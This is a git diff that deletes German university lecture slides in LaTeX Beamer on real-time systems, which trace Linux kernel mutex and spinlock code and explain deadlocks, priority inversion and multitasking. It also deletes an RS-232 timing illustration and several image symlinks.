- \begin{lstlisting}
- static __used noinline void __sched
- __mutex_lock_slowpath (atomic_t *lock_count)
- {
- struct mutex *lock = container_of (lock_count, struct mutex, count);
- __mutex_lock_common (lock, TASK_UNINTERRUPTIBLE, 0,
- NULL, _RET_IP_);
- }
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(11.0,1.40){\line(-1,0){1.0}}
- \put(11.0,1.40){\vector(0,-1){2.5}}
- \end{picture}
-
- \bigskip
-
- Datei \file{linux-3.7-rc1/kernel/mutex.c}, ab Zeile 132
-
- \medskip
-
- \begin{lstlisting}
- static inline int __sched
- __mutex_lock_common (struct mutex *lock, long state, unsigned int subclass,
- struct lockdep_map *nest_lock, unsigned long ip)
- {
- struct task_struct *task = current;
- struct mutex_waiter waiter;
- unsigned long flags;
-
- preempt_disable ();
- mutex_acquire_nest (&lock->dep_map, subclass, 0, nest_lock, ip);
-
- /* ... */
-
- spin_lock_mutex (&lock->wait_lock, flags);
-
- debug_mutex_lock_common (lock, &waiter);
- debug_mutex_add_waiter (lock, &waiter, task_thread_info (task));
-
- /* add waiting tasks to the end of the waitqueue (FIFO): */
- list_add_tail (&waiter.list, &lock->wait_list);
- waiter.task = task;
-
- if (atomic_xchg (&lock->count, -1) == 1)
- goto done;
-
- lock_contended (&lock->dep_map, ip);
-
- for (;;)
- {
- /*
- * Lets try to take the lock again - this is needed even if
- * we get here for the first time (shortly after failing to
- * acquire the lock), to make sure that we get a wakeup once
- * it's unlocked. Later on, if we sleep, this is the
- * operation that gives us the lock. We xchg it to -1, so
- * that when we release the lock, we properly wake up the
- * other waiters:
- */
- if (atomic_xchg (&lock->count, -1) == 1)
- break;
-
- /*
- * got a signal? (This code gets eliminated in the
- * TASK_UNINTERRUPTIBLE case.)
- */
- if (unlikely (signal_pending_state (state, task)))
- {
- mutex_remove_waiter (lock, &waiter, task_thread_info (task));
- mutex_release (&lock->dep_map, 1, ip);
- spin_unlock_mutex (&lock->wait_lock, flags);
-
- debug_mutex_free_waiter (&waiter);
- preempt_enable ();
- return -EINTR;
- }
- __set_task_state (task, state);
-
- /* didn't get the lock, go to sleep: */
- spin_unlock_mutex (&lock->wait_lock, flags);
- schedule_preempt_disabled ();
- spin_lock_mutex (&lock->wait_lock, flags);
- }
-
- done:
- lock_acquired (&lock->dep_map, ip);
- /* got the lock - rejoice! */
- mutex_remove_waiter (lock, &waiter, current_thread_info ());
- mutex_set_owner (lock);
-
- /* set it to 0 if there are no waiters left: */
- if (likely (list_empty (&lock->wait_list)))
- atomic_set (&lock->count, 0);
-
- spin_unlock_mutex (&lock->wait_lock, flags);
-
- debug_mutex_free_waiter (&waiter);
- preempt_enable ();
-
- return 0;
- }
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(7.9,28.3){\vector(-1,0){0.5}}
- \put(8.0,28.3){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff\\auf Mutex sichern}}}
- \put(7.4,2.3){\vector(-1,1){0.4}}
- \put(7.5,2.0){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff auf Mutex\\wieder freigeben}}}
- \end{picture}
-
-\end{frame}
-
-\setlength{\pdfpageheight}{40.5cm}
-
-\begin{frame}[fragile]
-
- \lstinline{spin_lock_mutex()} -- Mutex beanspruchen, notfalls \emph{busy waiting}
-
- Datei \file{linux-3.7-rc1/kernel/mutex.h}, ab Zeile 12
-
- \medskip
-
- \begin{lstlisting}
- #define spin_lock_mutex(lock, flags) \
- do \
- { \
- spin_lock (lock); \
- (void) (flags); \
- } \
- while (0)
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(8.5,1.75){\line(-1,0){4.5}}
- \put(8.5,1.75){\line(0,-1){2.9}}
- \put(8.5,-1.15){\vector(-1,0){1.0}}
- \end{picture}
-
- \bigskip
-
- Datei \file{linux-3.7-rc1/kernel/spinlock.h}, ab Zeile 283
-
- \medskip
-
- \begin{lstlisting}
- static inline void spin_lock (spinlock_t *lock)
- {
- raw_spin_lock (&lock->rlock);
- }
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(9.3,0.95){\line(-1,0){4.0}}
- \put(9.3,0.95){\line(0,-1){2.1}}
- \put(9.3,-1.15){\vector(-1,0){1.0}}
- \end{picture}
-
- \bigskip
-
- Datei \file{linux-3.7-rc1/kernel/spinlock.h}, Zeile 170
-
- \medskip
-
- \begin{lstlisting}
- #define raw_spin_lock(lock) _raw_spin_lock (lock)
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(10.0,0.55){\line(-1,0){0.5}}
- \put(10.0,0.55){\line(0,-1){1.7}}
- \put(10.0,-1.15){\vector(-1,0){1.3}}
- \end{picture}
-
- \bigskip
-
- Datei \file{linux-3.7-rc1/include/linux/spinlock\_api\_smp.h}, Zeile 47
-
- \medskip
-
- \begin{lstlisting}
- #define _raw_spin_lock(lock) __raw_spin_lock (lock)
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(10.7,0.55){\line(-1,0){0.5}}
- \put(10.7,0.55){\line(0,-1){1.75}}
- \put(10.7,-1.2){\vector(-1,0){2.3}}
- \end{picture}
-
- \bigskip
-
- Datei \file{linux-3.7-rc1/kernel/spinlock.c}, ab Zeile 46 (expandiert):
-
- \medskip
-
- \begin{lstlisting}
- void __lockfunc __raw_spin_lock (spinlock_t *lock)
- {
- for (;;)
- {
- preempt_disable ();
- if (likely (do_raw_spin_trylock (lock)))
- break;
- preempt_enable ();
-
- if (!(lock)->break_lock)
- (lock)->break_lock = 1;
- while (!raw_spin_can_lock (lock) && (lock)->break_lock)
- arch_spin_relax (&lock->raw_lock);
- }
- (lock)->break_lock = 0;
- }
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(10.7,4.75){\line(-1,0){3.5}}
- \put(10.7,4.75){\line(0,-1){5.95}}
- \put(10.7,-1.2){\vector(-1,0){1.1}}
- \end{picture}
-
- \bigskip
-
- Datei \file{linux-3.7-rc1/include/linux/spinlock.h}, ab Zeile 150:
-
- \medskip
-
- \begin{lstlisting}
- static inline int do_raw_spin_trylock (raw_spinlock_t *lock)
- {
- return arch_spin_trylock (&(lock)->raw_lock);
- }
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(11.5,0.95){\line(-1,0){3.5}}
- \put(11.5,0.95){\line(0,-1){2.1}}
- \put(11.5,-1.15){\vector(-1,0){0.7}}
- \end{picture}
-
- \bigskip
-
- Datei \file{arch/x86/include/asm/spinlock.h}, ab Zeile 116:
-
- \medskip
-
- \begin{lstlisting}
- static __always_inline int arch_spin_trylock (arch_spinlock_t *lock)
- {
- return __ticket_spin_trylock (lock);
- }
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(9.5,0.95){\line(-1,0){3.5}}
- \put(9.5,0.95){\vector(0,-1){1.7}}
- \end{picture}
-
- \bigskip
-
- Datei \file{arch/x86/include/asm/spinlock.h}, ab Zeile 65:
-
- \medskip
-
- \begin{lstlisting}
- static __always_inline int __ticket_spin_trylock (arch_spinlock_t *lock)
- {
- arch_spinlock_t old, new;
-
- old.tickets = ACCESS_ONCE (lock->tickets);
- if (old.tickets.head != old.tickets.tail)
- return 0;
-
- new.head_tail = old.head_tail + (1 << TICKET_SHIFT);
-
- /* cmpxchg is a full barrier, so nothing can move before it */
- return cmpxchg (&lock->head_tail, old.head_tail, new.head_tail) == old.head_tail;
- }
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(2.2,0.3){\line(0,1){0.4}}
- \put(9.0,0.3){\line(-1,0){6.8}}
- \put(9.0,0.3){\line(0,-1){1.45}}
- \put(9.0,-1.15){\vector(-1,0){3.2}}
- \end{picture}
-
- \bigskip
-
- Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 147:
-
- \medskip
-
- \begin{lstlisting}
- #define cmpxchg(ptr, old, new) \
- __cmpxchg (ptr, old, new, sizeof (*(ptr)))
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(9.0,0.5){\line(-1,0){1.8}}
- \put(9.0,0.5){\line(0,-1){1.65}}
- \put(9.0,-1.15){\vector(-1,0){2.2}}
- \end{picture}
-
- \bigskip
-
- Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 131:
-
- \medskip
-
- \begin{lstlisting}
- #define __cmpxchg(ptr, old, new, size) \
- __raw_cmpxchg ((ptr), (old), (new), (size), LOCK_PREFIX)
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(2.2,-0.1){\line(0,1){0.3}}
- \put(9.0,-0.1){\line(-1,0){6.8}}
- \put(9.0,-0.1){\line(0,-1){1.05}}
- \put(9.0,-1.15){\vector(-1,0){2.2}}
- \end{picture}
-
- \bigskip
-
- Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 110:
-
- \medskip
-
- \begin{lstlisting}
- asm volatile (lock "cmpxchgl %2,%1" \
- : "=a" (__ret), "+m" (*__ptr) \
- : "r" (__new), "0" (__old) \
- : "memory");
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(9.8,1.8){\vector(-1,0){0.6}}
- \put(9.8,1.2){\line(0,1){0.6}}
- \put(9.8,1.1){\makebox(0,0)[t]{\shortstack{atomarer und exklusiver\\Zugriff auf Spinlock\\durch Hardware-Unterstützung}}}
- \end{picture}
-
-\end{frame}
-
-\setlength{\pdfpageheight}{\normalpdfpageheight}
-
-%\sectionnonumber{Literaturempfehlung}
-%\subsectionnonumber{Automotive Embedded Systeme}
-%
-%\begin{frame}[c]
-%
-% \showsectionnonumber
-%
-% Prof.\ Dr.\ Joachim Wietzke, FH Darmstadt,\\
-% Prof.\ Dr.\ Manh Tien Tran, FH Kaiserslautern:
-%
-% \medskip
-%
-% \showsubsectionnonumber
-%
-% \vspace{-\medskipamount}
-%
-% Springer-Verlag, Berlin, Heidelberg 2005
-%
-% \bigskip
-%
-% Lizenz: proprietär
-%
-% \medskip
-%
-% (gesetzt mit \textrm{\LaTeX}, ca.\ \EUR{10})
-%
-%\end{frame}
-
-\begin{frame}
-
- \showsection
- \showsubsection
-
- Ressourcen reservieren
- \begin{itemize}
- \item
- \newterm{Semaphor}\\
- gemeinsame Variable mehrerer Prozesse\\
- zur Regelung des Zugriffs auf eine Ressource\\[\smallskipamount]
- Ressource belegt \textarrow\ Kontextwechsel
- \medskip
- \item
- \newterm{Mutex}\\
- Mechanismus, damit immer nur ein Prozeß gleichzeitig\\
- auf eine Ressource zugreifen kann
- \medskip
- \item
- \newterm{Spinlock} (\emph{busy waiting\/})\\
- leichtgewichtige Alternative zu Kontextwechsel
- \medskip
- \item
- \newterm{Kritischer Abschnitt -- critical section}\\
- Programmabschnitt zwischen Reservierung\\
- und Freigabe einer Ressource\\
- \textarrow\ sollte immer so kurz wie möglich sein
- \end{itemize}
- \vspace*{-1cm}
-
-\end{frame}
-
-\begin{frame}
-
- \showsection
- \showsubsection
-
- \begin{picture}(0,0)
- \only<2-3>{\put(6.3,-7){\includegraphics[height=6cm]{philosophenproblem.jpg}}}
- \end{picture}%
- \newterm{Verklemmungen\/}: Gegenseitiges Blockieren von Ressourcen
- \begin{itemize}
- \item
- \newterm{Deadlock\/}: Prozeß wartet
- \item
- \newterm{Livelock\/}: Prozeß macht andere Dinge\\
- (z.\,B.\ \emph{busy waiting\/})
- \end{itemize}
-
- \pause
- \bigskip
-
- Beispiel: Philosophenproblem
-
- \only<2-3>{%
- \begin{itemize}
- \item
- 5 Philosophen, 5 Gabeln
- \item
- 2 Gabeln zum Essen notwendig
- \item
- Wer essen will, nimmt eine Gabel\\
- und wartet notfalls auf die zweite.
- \item
- Keiner legt eine einzelne Gabel\\
- wieder zurück.
- \end{itemize}
- Jeder hält 1 Gabel \textarrow\ \newterm{Verklemmung}\\[0.5\smallskipamount]
- \pause
- \strut\quad schweigen \textarrow\ \newterm{Deadlock}\\
- \strut\quad philosophieren weiter \textarrow\ \newterm{Livelock}\\[-1cm]
- }
- \only<4->{%
- \bigskip
-
- Bedingungen für Verklemmungen:
-
- \begin{minipage}[t]{4.5cm}
- \begin{itemize}
- \item
- Exklusivität
- \item
- \newterm{hold and wait}
- \item
- Entzug nicht möglich
- \item
- zirkuläre Blockade
- \end{itemize}
- \end{minipage}\pause[5]
- \begin{minipage}[t]{7.5cm}
- \begin{itemize}
- \arrowitem
- Spooling
- \arrowitem
- simultane Zuteilung
- \arrowitem
- Prozesse suspendieren, beenden, \newterm{Rollback}
- \arrowitem
- Reihenfolge abhängig von Ressourcen
- \end{itemize}
- \end{minipage}
- }
-
-\end{frame}
-
-\subsection{Prioritäten}
-
-\begin{frame}
-
- \showsection
- \showsubsection
-
- Linux 0.01
- \begin{itemize}
- \item
- Timer-Interrupt: Zähler des aktuellen Prozesses wird dekrementiert;\\
- Prozeß mit höchstem Zähler bekommt Rechenzeit.
- \item
- Wenn es keinen laufbereiten Prozeß mit positivem Zähler gibt,\\
- bekommen alle Prozesse gemäß ihrer \newterm{Priorität\/} neue Zähler zugewiesen.
- \item
- \emph{keine\/} harte Echtzeit
- \arrowitem
- \newterm{dynamische Prioritätenvergabe\/}:\\
- Rechenzeit hängt vom Verhalten des Prozesses ab
- \end{itemize}
-
- \medskip
-
- Echtzeitbetriebssysteme
- \begin{itemize}
- \item
- Prozesse können einen festen Anteil an Rechenzeit bekommen.
- \item
- Bei Ereignissen können Prozesse hoher Priorität\\
- Prozesse niedriger Priorität unterbrechen, aber nicht umgekehrt.
- \arrowitem
- \newterm{statische Prioritätenvergabe}
- \end{itemize}
-
-\end{frame}
-
-\begin{frame}
-
- \showsection
- \showsubsection
-
- Echtzeitbetriebssysteme
- \begin{itemize}
- \item
- Prozesse können einen festen Anteil an Rechenzeit bekommen.
- \item
- Bei Ereignissen können Prozesse hoher Priorität\\
- Prozesse niedriger Priorität unterbrechen, aber nicht umgekehrt.
- \end{itemize}
-
- \vspace{0cm plus 1filll}
-
- \begin{center}
- \begin{picture}(11,4)(-1,0)
- \small
-
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-\subsectionnonumber{Prioritäten \protect\color{darkgray}und Ressourcen}
-
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- \showsection
- \showsubsection
-
- \only<4->{%
- Der höher priorisierte Prozeß bewirkt selbst,\\
- daß er eine Ressource verspätet bekommt.
-
- \medskip
-
- \textarrow\ \newterm{begrenzte Prioritätsinversion}
-
- \medskip
-
- maximale Verzögerung: Länge des kritischen Bereichs
- }
-
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-
- \visible<4->{%
- Ein Prozeß mit mittlerer Priorität bewirkt,
- daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
- \medskip
-
- \textarrow\ }\newterm{unbegrenzte Prioritätsinversion}
-
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- \begin{picture}(11,4)(-1,0)
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- \showsubsection
-
- Ein Prozeß mit mittlerer Priorität bewirkt,
- daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
- \medskip
-
- \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
-
- \medskip
-
- Beispiel: Beinahe-Verlust der Marssonde \emph{Pathfinder\/} im Juli 1997
-
- \only<1>{%
- \begin{center}
- \includegraphics[width=8.7cm]{pathfinder.jpg}
- \vspace*{-1.5cm}
- \end{center}
- }
-
- \bigskip
-
- \only<2>{%
- Gegenmaßnahmen
- \begin{itemize}
- \item
- \newterm{Priority Inheritance -- Prioritätsvererbung}\\
- Der Besitzer des Mutex erbt die Priorität\\
- des Prozesses, der auf den Mutex wartet.
- \end{itemize}
-
- \bigskip
-
- \begin{minipage}{7.0cm}
- \begin{flushright}
- \url{http://research.microsoft.com/en-us/\\um/people/mbj/Mars\_Pathfinder/}
- \end{flushright}
- \end{minipage}
-
- \vspace{1.35cm}\strut\hfill\makebox(0,0)[br]{\includegraphics[height=2.8cm]{pathfinder.jpg}}\vspace*{-1cm}
- }
-
-\end{frame}
-
-\begin{frame}
-
- \showsection
- \showsubsection
-
- Ein Prozeß mit mittlerer Priorität bewirkt,
- daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
- \medskip
-
- \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
-
- \bigskip
-
- Gegenmaßnahme: \newterm{Priority Inheritance -- Prioritätsvererbung}
-
- \vspace{0cm plus 1filll}
-
- \begin{center}
- \begin{picture}(11,4)(-1,0)
- \small
-
- \put(-0.1,0.5){\vector(1,0){10.1}}
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-
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-
-\begin{frame}
-
- \showsection
- \showsubsection
-
- Ein Prozeß mit mittlerer Priorität bewirkt,
- daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
- \medskip
-
- \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
-
- \bigskip
-
- Gegenmaßnahme: \newterm{Priority Ceiling -- Prioritätsobergrenze}
-
- \vspace{0cm plus 1filll}
-
- \begin{center}
- \begin{picture}(11,4)(-1,0)
- \small
-
- \put(-0.1,0.5){\vector(1,0){10.1}}
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-% }
- \put(0,1){\line(1,0){10}}
-
-% \only<1>{%
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-
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-% \only<1>{%
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-% }
- \put(0,3){\line(1,0){10}}
-
-% \only<2>{%
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- \put(2.6,3){{\color{medgreen}\rule{0.9cm}{0.4cm}}}
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-% }
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- \end{center}
-
-\end{frame}
-
-\begin{frame}
-
- \showsection
- \showsubsection
-
- Ein Prozeß mit mittlerer Priorität bewirkt,
- daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
- \medskip
-
- \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
-
- \medskip
-
- Beispiel: Beinahe-Verlust der Marssonde \emph{Pathfinder\/} im Juli 1997
-
- \bigskip
-
- Gegenmaßnahmen
- \begin{itemize}
- \item
- \newterm{Priority Inheritance -- Prioritätsvererbung}\\
- Der Besitzer des Mutex erbt die Priorität\\
- des Prozesses, der auf den Mutex wartet.
- \smallskip
- \item
- \newterm{Priority Ceiling -- Prioritätsobergrenze}\\
- Der Besitzer des Mutex bekommt sofort\\
- die Priorität des höchstmöglichen Prozesses,\\
- der evtl.\ den Mutex benötigen könnte.
- \pause
- \begin{picture}(0,0)
- \put(1.2,1.45){\makebox(0,0)[l]{$\left\}\rule{0pt}{1.7cm}\right.$
- \begin{minipage}{4cm}
- nur möglich, wenn\\
- Mutexe im Spiel sind
- \end{minipage}}}
- \end{picture}
- \smallskip
- \pause
- \item
- \newterm{Priority Aging}\\
- Die Priorität wächst mit der Wartezeit.
- \end{itemize}
- \vspace*{-1cm}
-
-\end{frame}
-
-\end{document}
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diff --git a/20161110/rp6.jpg b/20161110/rp6.jpg
deleted file mode 120000
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diff --git a/20161110/rs-232.tex b/20161110/rs-232.tex
deleted file mode 100644
index a174692f177abe0d0ff1afd7e6783160485b5a22..0000000000000000000000000000000000000000
--- a/20161110/rs-232.tex
+++ /dev/null
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-% rs-232.pdf - Illustration of the RS-232 Protocol
-% Copyright (C) 2011, 2016 Peter Gerwinski
-%
-% based on http://de.wikipedia.org/w/index.php?title=Datei:RS-232_timing.png&filetimestamp=20050719153204
-% Copyright (C) 2005 Wikipedia-Autor Gerald.deppe, released into Public Domain
-%
-% This document is free software: you can redistribute it and/or
-% modify it either under the terms of the Creative Commons
-% Attribution-ShareAlike 3.0 License, or under the terms of the
-% GNU General Public License as published by the Free Software
-% Foundation, either version 3 of the License, or (at your option)
-% any later version.
-%
-% This document is distributed in the hope that it will be useful,
-% but WITHOUT ANY WARRANTY; without even the implied warranty of
-% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-% GNU General Public License for more details.
-%
-% You should have received a copy of the GNU General Public License
-% along with this document. If not, see <http://www.gnu.org/licenses/>.
-%
-% You should have received a copy of the Creative Commons
-% Attribution-ShareAlike 3.0 Unported License along with this
-% document. If not, see <http://creativecommons.org/licenses/>.
-
-\documentclass[10pt,t]{beamer}
-
-\usepackage{pgslides}
-\usepackage{rotating}
-
-\setbeamertemplate{footline}{}
-
-\begin{document}
-
-\begin{frame}
- \vspace*{-0.65cm}
- \begin{center}
- \includegraphics[width=12cm]{RS-232_timing-no-text.png}\\
- \begin{picture}(12,1)
- \footnotesize
- \put(0.1,9.17){\mbox{Synchronisation}}
- \put(0.1,8.77){\mbox{Daten}}
- \put(0.1,8.37){\mbox{Check}}
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- \put(3,9.17){\mbox{9600\,Baud, 8 Daten-Bits, ungerade Parität, 1 Stopp-Bit}}
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- \put(3,8.37){\mbox{Übertragung der Daten von rechts (Bit 0) nach links (Bit 7)}}
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- \put(7.583,6.4){\begin{rotate}{90}Bit 6\end{rotate}}
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- \put(9.590,4.4){\makebox(0,0)[br]{1}}
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- \put(10.5935,4.4){\makebox(0,0)[br]{0}}
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- \put(1.2,0.6){\vector(1,0){9.6}}
- \put(10.8,0.3){\makebox(0,0)[tr]{Zeit/s}}
- \multiput(2.45,0.6)(0.669,0){13}{\line(0,-1){0.1}}
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- \end{center}
-\end{frame}
-
-\end{document}
diff --git a/20161110/xbee.jpg b/20161110/xbee.jpg
deleted file mode 120000
index ff0adff2eadf3d9b775d03cea8cf1f118534e2b9..0000000000000000000000000000000000000000
--- a/20161110/xbee.jpg
+++ /dev/null
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-../common/xbee.jpg
\ No newline at end of file
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--- a/20161124/csa2.jpg
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-../common/csa2.jpg
\ No newline at end of file
diff --git a/20161124/logo-hochschule-bochum-cvh-text.pdf b/20161124/logo-hochschule-bochum-cvh-text.pdf
deleted file mode 120000
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\ No newline at end of file
diff --git a/20161124/logo-hochschule-bochum.pdf b/20161124/logo-hochschule-bochum.pdf
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index b6b9491e370e499c9276918182cdb82cb311bcd1..0000000000000000000000000000000000000000
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\ No newline at end of file
diff --git a/20161124/pathfinder.jpg b/20161124/pathfinder.jpg
deleted file mode 120000
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--- a/20161124/pathfinder.jpg
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-../common/pathfinder.jpg
\ No newline at end of file
diff --git a/20161124/pgslides.sty b/20161124/pgslides.sty
deleted file mode 120000
index 5be1416f4216f076aa268901f52a15d775e43f64..0000000000000000000000000000000000000000
--- a/20161124/pgslides.sty
+++ /dev/null
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-../common/pgslides.sty
\ No newline at end of file
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deleted file mode 120000
index 26591b2ac2dddfd4786814baf3f19ecb67f1f5ee..0000000000000000000000000000000000000000
--- a/20161124/philosophenproblem.jpg
+++ /dev/null
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-../common/philosophenproblem.jpg
\ No newline at end of file
diff --git a/20161124/systech-20161006.pdf b/20161124/systech-20161006.pdf
deleted file mode 100644
index 7b805863588975735dbad1eeb1cf1b9a13ea1add..0000000000000000000000000000000000000000
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diff --git a/20161124/systech-20161006.tex b/20161124/systech-20161006.tex
deleted file mode 100644
index 06479853af5662779a0561fc16cf0137c3a51a21..0000000000000000000000000000000000000000
--- a/20161124/systech-20161006.tex
+++ /dev/null
@@ -1,1844 +0,0 @@
-% systech-20161006.pdf - Lecture Slides on Advanced System Engineering
-% Copyright (C) 2013, 2014, 2015, 2016 Peter Gerwinski
-%
-% This document is free software: you can redistribute it and/or
-% modify it either under the terms of the Creative Commons
-% Attribution-ShareAlike 3.0 License, or under the terms of the
-% GNU General Public License as published by the Free Software
-% Foundation, either version 3 of the License, or (at your option)
-% any later version.
-%
-% This document is distributed in the hope that it will be useful,
-% but WITHOUT ANY WARRANTY; without even the implied warranty of
-% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-% GNU General Public License for more details.
-%
-% You should have received a copy of the GNU General Public License
-% along with this document. If not, see <http://www.gnu.org/licenses/>.
-%
-% You should have received a copy of the Creative Commons
-% Attribution-ShareAlike 3.0 Unported License along with this
-% document. If not, see <http://creativecommons.org/licenses/>.
-
-\documentclass[10pt,t]{beamer}
-
-\usepackage{pgslides}
-%\usepackage{rotating}
-\usepackage{pdftricks}
-\usepackage[obeyfamily=false,mathrm=mathsf,textrm=sffamily]{siunitx}
-\usepackage{tikz}
-\usepackage{eurosym}
-
-\newrgbcolor{lightyellow}{0.95 0.85 0.0}
-\newrgbcolor{lightorange}{1.0 0.7 0.0}
-\newrgbcolor{lightgreen}{0.0 0.8 0.0}
-
-\begin{psinputs}
- \usepackage[latin1]{inputenc}
- \usepackage[german]{babel}
- \usepackage[T1]{fontenc}
- \usepackage{helvet}
- \renewcommand*\familydefault{\sfdefault}
- \usepackage{pstricks}
- \psset{unit=1cm}
-\end{psinputs}
-
-\title{Vertiefung Systemtechnik}
-\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski}
-\date{23.\ November 2016}
-
-\begin{document}
-
-\newlength{\normalpdfpageheight}
-\setlength{\normalpdfpageheight}{\pdfpageheight}
-
-\maketitleframe
-
-\sectionnonumber{\inserttitle}
-
-\begin{frame}
-
- \showsectionnonumber
-
- \begin{itemize}
- \item[\textbf{1}] \textbf{Einführung}
- \begin{itemize}
- \item[1.1] Was ist Echtzeit?
- \item[1.2] Echtzeitprogrammierung
- \end{itemize}
- \item[\textbf{2}] \textbf{Theorie der Echtzeitsysteme}
- \begin{itemize}
- \color{medgreen}
- \item[2.1] Multitasking
- \item[2.2] Ressourcen
- \item[2.3] Prioritäten
- \end{itemize}
- \item[\textbf{3}] \textbf{Echtzeitbetriebssysteme}
- \begin{itemize}
- \item[3.1] Definition
- \item[3.2] Beispiele
- \end{itemize}
- \item[\textbf{4}] \textbf{Frameworks}
- \begin{itemize}
- \item[\textbf{4.1}] TFC Event Channel
- \item[\textbf{4.2}] AUTOSAR
- \item[\textbf{4.3}] Wietzke-Tran-Framework
- \end{itemize}
- \end{itemize}
-
-\end{frame}
-
-\setcounter{section}{2}
-\section{Theorie der Echtzeitsysteme}
-
-\begin{frame}
-
- \visible<1->{\showsection}
-
- Quadrocopter-Steuerung \emph{MultiWii}
- \begin{itemize}
- \item
- Konfiguration durch bedingte Compilierung (Präprozessor)
- \item
- In der Hauptschleife wird 50mal pro Sekunde der RC-Task aufgerufen,\\
- ansonsten zyklisch einer von bis zu 5 weiteren Tasks.
- \end{itemize}
-
-% \pause
-
- RP6-Steuerung
- \begin{itemize}
- \item
- Konfiguration durch bedingte Compilierung (Präprozessor)
- \item
- Lichtschranken an Encoder-Scheiben lösen bei Bewegung Interrupts aus.\\
- Die Interrupt-Handler zählen Variable hoch.
- \item
- 10000mal pro Sekunde: Timer-Interrupt\\
- Durch Zähler im Interrupt-Handler: verschiedene Taktraten\\
- 1000mal pro Sekunde: Stopwatches\\
- 5mal pro Sekunde: Blinkende Power-On-LED\\
- 1000mal pro Sekunde: Bumper, ACS, PWM zur Motorsteuerung\\
- Geschwindigkeitsmessung durch Zählen der Ticks in 0.2\,s\\
- Anpassung der Motorkraft in $\pm$1-Schritten
-% \pause
- \item
- Nebenbei: \only<1->{1 }Benutzerprogramm
- \end{itemize}
-
-\end{frame}
-
-\subsection{Multitasking}
-
-\begin{frame}
-
- \showsection
- \showsubsection
-
- \begin{itemize}
- \item
- \newterm{Kooperatives Multitasking}\\
- Prozesse geben freiwillig Rechenzeit ab
- \item
- \newterm{Präemptives Multitasking}\\
- Das Betriebssystem unterbricht laufende Prozesse\\
- (englisch: \emph{to pre-empt\/} -- jemandem zuvorkommen)
- \bigskip
- \item
- \newterm{Scheduler}\\
- Steuerprogramm, das Prozessen Rechenzeit zuteilt
- \item
- \newterm{Kontextwechsel}\\
- Umschalten zwischen zwei Prozessen
- \item
- \newterm{Round-Robin-Verfahren (Rundlauf)}\\
- Zuteilung von \newterm{Zeitschlitzen\/} auf einer \newterm{Zeitscheibe} an die Prozesse
- \bigskip
-% \pause
- \item
-% Ausblick:
- Zuteilung von Rechenzeit = wichtiger Spezialfall\\
- allgemein: Zuteilung von Ressourcen
- \end{itemize}
-
-\end{frame}
-
-\subsectionnonumber{Beispiele für Multitasking}
-
-\begin{frame}
-
- \showsubsectionnonumber
-
- Quadrocopter-Steuerung \emph{MultiWii}
- \begin{itemize}
- \item
- Konfiguration durch bedingte Compilierung (Präprozessor)
- \item
- In der Hauptschleife wird 50mal pro Sekunde der RC-Task aufgerufen,\\
- ansonsten zyklisch einer von bis zu 5 weiteren Tasks.
- \end{itemize}
-
- RP6-Steuerung
- \begin{itemize}
- \item
- Konfiguration durch bedingte Compilierung (Präprozessor)
- \item
- Lichtschranken an Encoder-Scheiben lösen bei Bewegung Interrupts aus.\\
- Die Interrupt-Handler zählen Variable hoch.
- \item
- 10000mal pro Sekunde: Timer-Interrupt\\
- verschiedene Tasks werden unterschiedlich häufig aufgerufen
- \item
- Nebenbei: 1 Benutzerprogramm
- \end{itemize}
-
- Linux 0.01
- \begin{itemize}
- \item
- Timer-Interrupt:\only<1->{ Zähler des aktuellen Tasks wird dekrementiert;}\\
- Task mit höchstem Zähler bekommt Rechenzeit.
- \item
- Wenn es keinen laufbereiten Task mit positivem Zähler gibt,\\
- bekommen alle Tasks gemäß ihrer Priorität neue Zähler zugewiesen.
- \item
- \emph{keine\/} harte Echtzeit
- % Aufgabe: Wo wird der Zähler heruntergezählt?
- \end{itemize}
-
-\end{frame}
-
-\subsectionnonumber{Zombies}
-
-\begin{frame}
-
- \showsubsectionnonumber
-
-% \pause
- Wikipedia:
- \begin{quote}
- Als Zombie wird die fiktive Figur eines zum Leben erweckten
- Toten (Untoter) oder eines seiner Seele beraubten, willenlosen
- Wesens bezeichnet. Der Begriff leitet sich von dem Wort nzùmbe
- aus der zentralafrikanischen Sprache Kimbundu ab und bezeichnet
- dort ursprünglich einen Totengeist.
- \end{quote}
-
-% \bigskip
-
-% \pause
- Ein Zombie-Prozeß ist bereits beendet ("`tot"'),\\
- bekommt keine Rechenzeit mehr ("`seiner Seele beraubt"'),\\
- hat alle belegten Ressourcen wieder freigegeben ("`willenlos"'),\\
- wird aber noch in der Prozeßliste geführt ("`untot"').
- \begin{itemize}
-% \pause
- \item
- Warum?
- \textarrow\
- Ein anderer Prozeß (Elternprozeß) wartet noch auf den
- Rückgabewert des beendeten Prozesses.
-% \pause
- \item
